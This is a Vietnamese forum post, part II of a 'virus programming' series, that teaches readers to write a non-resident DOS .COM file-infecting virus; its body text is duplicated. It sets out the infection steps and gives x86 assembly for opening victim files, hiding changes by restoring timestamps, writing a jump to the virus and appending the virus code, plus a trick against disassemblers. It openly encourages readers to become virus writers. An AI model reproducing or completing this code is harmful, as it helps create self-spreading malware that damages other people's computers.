Hướng dẫn lập trình Virus(Phần II)
Trang 1 trong tổng số 1 trang
Hướng dẫn lập trình Virus(Phần II)
Bài viết liên quan: Hướng dẫn lập trình Virus (phần I)/Hướng dẫn lập trình Virus (phần III)
BÀI 2: VR TRÊN DOS
Tôi có ý định trình bày các kỹ năng lập trình VR tuần tự từ các loại VR COM/EXE không thường trú trên DOS, VR có thướng trú, boot VR rồi mới sang win/unix nhằm tạo cho các bạn nắm được các kiến thức cơ bản trước. Tuy nhiên tôi thấy một số bạn quan tâm tới các kỹ thuật mới nhiều hơn vì vậy tôi sẽ cắt ngắn chương trình đào tạo. Chúng ta sẽ phân tích nhanh một VR file COM trên DOS để lấy khái niệm rồi bài sau sẽ đi vào VR trên win và unix luôn. Sau các bài này khi các bạn đã tự thực hành và trở thành VXer, các bạn nào muốn nâng cao trình độ có thể thảo luận về các kỹ thuật nâng cao trong bài Kỹ thuật lập trình VR của tôi.
Như ta đã phân tích ở bài trước, VR COM sẽ làm thao tác nối (append) chính nó vào chương trình của nạn nhân. Yêu cầu của VR là nắm quyền kiểm soát trước khi chương trình gốc chạy. Chính vì vậy VR sẽ thay đổi code ở đầu chương trình gốc để tạo một lệnh nhảy xuống đoạn mã VR mới nối thêm. Sau khi VR chạy xong, đoạn mã gốc sẽ được phục hồi VR sẽ trả lại quyền điều khiển để chương trình gốc có thể chạy bình thường. Chính vì vậy nạn nhân vẫn có thể ung dung hút thuốc làm việc bình thường mà không biết máy tính đã nhiễm VR. Hình vẽ sau mô tả hoạt động của một VR. Tôi rất muỗn đưa ra nhiều hình vẽ minh hoạ nhưng không biết làm thế nào, các bạn xem tạm vậy.
. . . . . . . . . . . . . . . . . . . . . |Jump VR|
------------. . ---------. . . . . . ----------
| File. . . | + |Virus. | ===>|File. . |
-----------. . ----------. . . . . ----------
. . . . . . . . . . . . . . . . . . . . . |Virus. |
Tất nhiên các bạn có thể dễ dàng nhận ra có cách khác là đẩy chương trình gốc ra sau VR theo dạng
------------. . ---------. . . . . . ----------
| File. . . | + |Virus. | ===>|Virus. |
-----------. . ----------. . . . . ----------
. . . . . . . . . . . . . . . . . . . . . |File. . |
Tuy nhiên cách này thường không được sử dụng vì chạy chậm hơn nhiều. Tổng kết khái niệm ở đây chỉ còn là: VR và tệp tin sau khi lây nhiễm sẽ được hợp làm một, VR nắm quyền điều khiển chương trình và được chạy trước, chương trình gốc sẽ được trả lại nguyên vẹn và chạy sau khi VR kết thúc.
Dựa trên nguyên tắc này các cách đã trình bày là phương pháp cơ bản còn thực ra các bạn có thể sáng tạo tuỳ theo ý mình để đạt được mục đích.
Sơ đồ sau là diễn giải một tệp .COM trước và sau khi lây nhiễm:
Bat dau ct |-------------------|. . . . . |----------------------|
. . . . . . . . | Ma dau ct cu. |--|. . . | Ma jump cho VR |--|
. . . . . . . . |-------------------|. |. . . |----------------------|. |
. . . . . . . . |. . . . . . . . . . . . |. |. . . |. . . . . . . . . . . . . |. |
. . . . . . . . |. . . . . . . . . . . . |. |. . . |. . . . . . . . . . . . . |. |
. . . . . . . . |. . . . . . . . . . . . |. |. . . |. . . . . . . . . . . . . |. |
. . . . . . . . |. . . . . . . . . . . . |. |. . . |. . . . . . . . . . . . . |. |
. . . . . . . . |. . . . . . . . . . . . |. |. . . |. . . . . . . . . . . . . |. |
. . . . . . . . |. . . . . . . . . . . . |. |. . . |. . . . . . . . . . . . . |. |
. . . . . . . . |. . . . . . . . . . . . |. |. . . |. . . . . . . . . . . . . |. |
. . . . . . . . |. . . . . . . . . . . . |. |. . . |. . . . . . . . . . . . . |. |
. . . . . . . . |-------------------|. |. . . |----------------------|. |
. . . . . . . . . . . . . . . . . . . . . . |---->| Ma dau ct cu. . . |. |
. . . . . . . . . . . . . . . . . . . . . . . . . . |----------------------|. |
. . . . . . . . . . . . . . . . . . . . . . . . . . |. . . . . . . . . . . . . |<-|
. . . . . . . . . . . . . . . . . . . . . . . . . . |. Ma VR. . . . . . . |
. . . . . . . . . . . . . . . . . . . . . . . . . . |. . . . . . . . . . . . . |
. . . . . . . . . . . . . . . . . . . . . . . . . . |----------------------|
Thao tác lây nhiễm của một VR .com là
1. Mở file .com
2. Lưu ngày giờ tạo file
3. Lưu các bytes đầu CT gốc (thường là 3)
4. Tính lệnh nhảy tới VR (cuối CT)
5. Ghi lệnh nhảy đè lênh các bytes đầu
6. Nối VR vào cuối CT gốc
7. Phục hồi lại ngày giờ tạo file
8. Đóng file
Vậy những gì ta sẽ phải làm khi VR nắm quyền điều khiển? Tất nhiên là tìm kiếm các tệp .com chưa lây nhiễm ở xung quanh và bắt đầu lây nhiễm
Thực hành:
Bắt đầu một VR đơn giản:
.model tiny
.code
org 0100h
jump_to_VR:
db 0E9h,0,0 ; jmp start
start:
call get_addr
db 0b8h ;<== đánh lạc hướng disassembler (xem bài Kỹ thuật lập trình VR)
get_addr:
pop bp
Như vậy ta đã có một khởi đầu của VR. Đối với VR thường trú đây là lúc ta ém quân lên bộ nhớ bẫy ngắt và chờ đợi. Với một VR không thường trú bây giờ sẽ là thao tác ta tìm kiếm các tệp *.com để lây lan. Tôi giả định
bạn là người lạp trình ASM cơ bản có nghĩa là có thể sử dụng các ngắt của dos. Vậy thì thao tác tìm kiếm các tệp đuôi *.com trong thư mục chẳng có gì khó phải không. Tôi gơi ý dùng hàm 47h ngắt 21h, hàm 4Eh ngắt 21h (find first), hàm 4Fh ngắt 21h (find next) để tìm kiếm.
Chú ý vì VR của ta được nối vào cuối một chương trình khác nên các offset sẽ bị đảo lộn hết. Không nên dùng các offset tuyệt đối mà chỉ sử dụng tương đối qua thanh ghi bp. Ở đoạn ví dụ trên, ta có trong thanh bp giá trị offset của nhãn get_addr như vậy muốn lấy địa chỉ một biến xxx ta làm như sau:
get_addr:
pop bp
;.......
; Code Virus here
;.......
lea dx, [bp+offset COMmask-offset get_addr]
;....
xxx db “*.COM”,0
Sau khi có tên file .com, quy trình lây nhiễm 8 bước ở trên thì cũng không có gì phức tạp:
1. Mở file:
;offset tên file nạp vào ==> dx
mov ax, 3D02h ; Open R/O
int 21h
xchg ax, bx ; Handle in BX
2. Lấy ngày giờ tạo file
mov ax, 5700h ; get file time/date
int 21h
push cx
push dx
3. Đọc các bytes đầu
mov ah, 003Fh
mov cx, 001Ah
lea dx, [bp+offset readbuffer-offset get_addr]
int 21h
Các bạn có thể đặt vài ký hiệu trên đầu sau lệnh nhảy nhằm kiểm tra nếu tệp đã bị lây nhiễm thì không lây nhiễm lại.
4. Tính lệnh jmp đến cuối file
xor cx, cx
xor dx, dx
mov ax, 4202h
int 21h ;<== Lấy kích thước tệp
Với:
JmpCode:db 0E9h,00,00
Lúc này ta có thể ghi lệnh nhảy mới vào tệp .com bằng lệnh:
mov word ptr ds:[bp+offset JmpCode-Offset get_addr+1],ax ;Địa chỉ jmpcode + 1
xor cx,cx
xor dx,dx
mov ax,4200h
int 21h
mov ah,40h
mov dx,<địa chỉ jmpCode>
mov cx,4
int 21h
5. Nối VR vào cuối tệp
mov ah,40h
mov dx,<địa chỉ start>
mov cx,
int 21h
6. Phục hồi ngày giờ
mov ax, 5701h ;restore file time/date
pop dx
pop cx
int 21h
7. Đóng tệp
mov ah,3eh
int 21h
Đọc đám code này có thể bạn không hiểu, OK. Chỉ cần ghi nhớ là
1. Bạn sẽ dùng các lệnh đọc/ghi tệp ghi nội dung VR vào cuối chương trình gốc
2. Ghi lệnh nhảy gồm3 bytes E9h, <2> vào đầu ct gốc
Kết thúc quá trình lây lan, hãy move trả các bytes gốc trở về offset 100h và nhảy về đó
Đến đây ta kết thúc một VR .com không thường trú.
BÀI 2: VR TRÊN DOS
Tôi có ý định trình bày các kỹ năng lập trình VR tuần tự từ các loại VR COM/EXE không thường trú trên DOS, VR có thướng trú, boot VR rồi mới sang win/unix nhằm tạo cho các bạn nắm được các kiến thức cơ bản trước. Tuy nhiên tôi thấy một số bạn quan tâm tới các kỹ thuật mới nhiều hơn vì vậy tôi sẽ cắt ngắn chương trình đào tạo. Chúng ta sẽ phân tích nhanh một VR file COM trên DOS để lấy khái niệm rồi bài sau sẽ đi vào VR trên win và unix luôn. Sau các bài này khi các bạn đã tự thực hành và trở thành VXer, các bạn nào muốn nâng cao trình độ có thể thảo luận về các kỹ thuật nâng cao trong bài Kỹ thuật lập trình VR của tôi.
Như ta đã phân tích ở bài trước, VR COM sẽ làm thao tác nối (append) chính nó vào chương trình của nạn nhân. Yêu cầu của VR là nắm quyền kiểm soát trước khi chương trình gốc chạy. Chính vì vậy VR sẽ thay đổi code ở đầu chương trình gốc để tạo một lệnh nhảy xuống đoạn mã VR mới nối thêm. Sau khi VR chạy xong, đoạn mã gốc sẽ được phục hồi VR sẽ trả lại quyền điều khiển để chương trình gốc có thể chạy bình thường. Chính vì vậy nạn nhân vẫn có thể ung dung hút thuốc làm việc bình thường mà không biết máy tính đã nhiễm VR. Hình vẽ sau mô tả hoạt động của một VR. Tôi rất muỗn đưa ra nhiều hình vẽ minh hoạ nhưng không biết làm thế nào, các bạn xem tạm vậy.
. . . . . . . . . . . . . . . . . . . . . |Jump VR|
------------. . ---------. . . . . . ----------
| File. . . | + |Virus. | ===>|File. . |
-----------. . ----------. . . . . ----------
. . . . . . . . . . . . . . . . . . . . . |Virus. |
Tất nhiên các bạn có thể dễ dàng nhận ra có cách khác là đẩy chương trình gốc ra sau VR theo dạng
------------. . ---------. . . . . . ----------
| File. . . | + |Virus. | ===>|Virus. |
-----------. . ----------. . . . . ----------
. . . . . . . . . . . . . . . . . . . . . |File. . |
Tuy nhiên cách này thường không được sử dụng vì chạy chậm hơn nhiều. Tổng kết khái niệm ở đây chỉ còn là: VR và tệp tin sau khi lây nhiễm sẽ được hợp làm một, VR nắm quyền điều khiển chương trình và được chạy trước, chương trình gốc sẽ được trả lại nguyên vẹn và chạy sau khi VR kết thúc.
Dựa trên nguyên tắc này các cách đã trình bày là phương pháp cơ bản còn thực ra các bạn có thể sáng tạo tuỳ theo ý mình để đạt được mục đích.
Sơ đồ sau là diễn giải một tệp .COM trước và sau khi lây nhiễm:
Bat dau ct |-------------------|. . . . . |----------------------|
. . . . . . . . | Ma dau ct cu. |--|. . . | Ma jump cho VR |--|
. . . . . . . . |-------------------|. |. . . |----------------------|. |
. . . . . . . . |. . . . . . . . . . . . |. |. . . |. . . . . . . . . . . . . |. |
. . . . . . . . |. . . . . . . . . . . . |. |. . . |. . . . . . . . . . . . . |. |
. . . . . . . . |. . . . . . . . . . . . |. |. . . |. . . . . . . . . . . . . |. |
. . . . . . . . |. . . . . . . . . . . . |. |. . . |. . . . . . . . . . . . . |. |
. . . . . . . . |. . . . . . . . . . . . |. |. . . |. . . . . . . . . . . . . |. |
. . . . . . . . |. . . . . . . . . . . . |. |. . . |. . . . . . . . . . . . . |. |
. . . . . . . . |. . . . . . . . . . . . |. |. . . |. . . . . . . . . . . . . |. |
. . . . . . . . |. . . . . . . . . . . . |. |. . . |. . . . . . . . . . . . . |. |
. . . . . . . . |-------------------|. |. . . |----------------------|. |
. . . . . . . . . . . . . . . . . . . . . . |---->| Ma dau ct cu. . . |. |
. . . . . . . . . . . . . . . . . . . . . . . . . . |----------------------|. |
. . . . . . . . . . . . . . . . . . . . . . . . . . |. . . . . . . . . . . . . |<-|
. . . . . . . . . . . . . . . . . . . . . . . . . . |. Ma VR. . . . . . . |
. . . . . . . . . . . . . . . . . . . . . . . . . . |. . . . . . . . . . . . . |
. . . . . . . . . . . . . . . . . . . . . . . . . . |----------------------|
Thao tác lây nhiễm của một VR .com là
1. Mở file .com
2. Lưu ngày giờ tạo file
3. Lưu các bytes đầu CT gốc (thường là 3)
4. Tính lệnh nhảy tới VR (cuối CT)
5. Ghi lệnh nhảy đè lênh các bytes đầu
6. Nối VR vào cuối CT gốc
7. Phục hồi lại ngày giờ tạo file
8. Đóng file
Vậy những gì ta sẽ phải làm khi VR nắm quyền điều khiển? Tất nhiên là tìm kiếm các tệp .com chưa lây nhiễm ở xung quanh và bắt đầu lây nhiễm
Thực hành:
Bắt đầu một VR đơn giản:
.model tiny
.code
org 0100h
jump_to_VR:
db 0E9h,0,0 ; jmp start
start:
call get_addr
db 0b8h ;<== đánh lạc hướng disassembler (xem bài Kỹ thuật lập trình VR)
get_addr:
pop bp
Như vậy ta đã có một khởi đầu của VR. Đối với VR thường trú đây là lúc ta ém quân lên bộ nhớ bẫy ngắt và chờ đợi. Với một VR không thường trú bây giờ sẽ là thao tác ta tìm kiếm các tệp *.com để lây lan. Tôi giả định
bạn là người lạp trình ASM cơ bản có nghĩa là có thể sử dụng các ngắt của dos. Vậy thì thao tác tìm kiếm các tệp đuôi *.com trong thư mục chẳng có gì khó phải không. Tôi gơi ý dùng hàm 47h ngắt 21h, hàm 4Eh ngắt 21h (find first), hàm 4Fh ngắt 21h (find next) để tìm kiếm.
Chú ý vì VR của ta được nối vào cuối một chương trình khác nên các offset sẽ bị đảo lộn hết. Không nên dùng các offset tuyệt đối mà chỉ sử dụng tương đối qua thanh ghi bp. Ở đoạn ví dụ trên, ta có trong thanh bp giá trị offset của nhãn get_addr như vậy muốn lấy địa chỉ một biến xxx ta làm như sau:
get_addr:
pop bp
;.......
; Code Virus here
;.......
lea dx, [bp+offset COMmask-offset get_addr]
;....
xxx db “*.COM”,0
Sau khi có tên file .com, quy trình lây nhiễm 8 bước ở trên thì cũng không có gì phức tạp:
1. Mở file:
;offset tên file nạp vào ==> dx
mov ax, 3D02h ; Open R/O
int 21h
xchg ax, bx ; Handle in BX
2. Lấy ngày giờ tạo file
mov ax, 5700h ; get file time/date
int 21h
push cx
push dx
3. Đọc các bytes đầu
mov ah, 003Fh
mov cx, 001Ah
lea dx, [bp+offset readbuffer-offset get_addr]
int 21h
Các bạn có thể đặt vài ký hiệu trên đầu sau lệnh nhảy nhằm kiểm tra nếu tệp đã bị lây nhiễm thì không lây nhiễm lại.
4. Tính lệnh jmp đến cuối file
xor cx, cx
xor dx, dx
mov ax, 4202h
int 21h ;<== Lấy kích thước tệp
Với:
JmpCode:db 0E9h,00,00
Lúc này ta có thể ghi lệnh nhảy mới vào tệp .com bằng lệnh:
mov word ptr ds:[bp+offset JmpCode-Offset get_addr+1],ax ;Địa chỉ jmpcode + 1
xor cx,cx
xor dx,dx
mov ax,4200h
int 21h
mov ah,40h
mov dx,<địa chỉ jmpCode>
mov cx,4
int 21h
5. Nối VR vào cuối tệp
mov ah,40h
mov dx,<địa chỉ start>
mov cx,
int 21h
6. Phục hồi ngày giờ
mov ax, 5701h ;restore file time/date
pop dx
pop cx
int 21h
7. Đóng tệp
mov ah,3eh
int 21h
Đọc đám code này có thể bạn không hiểu, OK. Chỉ cần ghi nhớ là
1. Bạn sẽ dùng các lệnh đọc/ghi tệp ghi nội dung VR vào cuối chương trình gốc
2. Ghi lệnh nhảy gồm3 bytes E9h, <2> vào đầu ct gốc
Kết thúc quá trình lây lan, hãy move trả các bytes gốc trở về offset 100h và nhảy về đó
Đến đây ta kết thúc một VR .com không thường trú.
Similar topics
» Hướng dẫn lập trình Virus(Phần III)
» Hướng dẫn lập trình Virus(Phần IV)
» Hướng dẫn lập trình Virus(Phần V)
» Hướng dẫn lập trình Virus
» Hướng dẫn lập trình virus bằng Vbs.
» Hướng dẫn lập trình Virus(Phần IV)
» Hướng dẫn lập trình Virus(Phần V)
» Hướng dẫn lập trình Virus
» Hướng dẫn lập trình virus bằng Vbs.
Trang 1 trong tổng số 1 trang
Permissions in this forum:
Bạn không có quyền trả lời bài viết
27/8/2013, 11:45 am by echcondihoc
» Quản Lí Tiến Trình Dùng Thư Viện PSAPI
11/10/2011, 9:42 pm by CNTT_DH
» xin tai lieu tieng viet
31/8/2011, 6:59 am by bantoisg
» Theo dõi tiến trình
27/8/2011, 5:51 pm by haigaopro01
» Giải pháp Bảo mật của Cisco
17/6/2011, 8:50 am by admin
» Nghiên cứu và đưa ra giải pháp phòng chống tấn công DoS, DDoS (Phần 1)
16/6/2011, 2:32 pm by admin
» Learn to hack !
16/6/2011, 8:49 am by admin
» Giải pháp hệ thống dành cho doanh nghiệp với thiết bị mạng Fortinet (Phần 1)
15/6/2011, 11:12 am by admin
» Ô Long Viên (Tập II)
27/9/2010, 4:56 pm by root
» những ebook về hack tiếng việt cho người mới tìm hiểu.
27/9/2010, 4:54 pm by root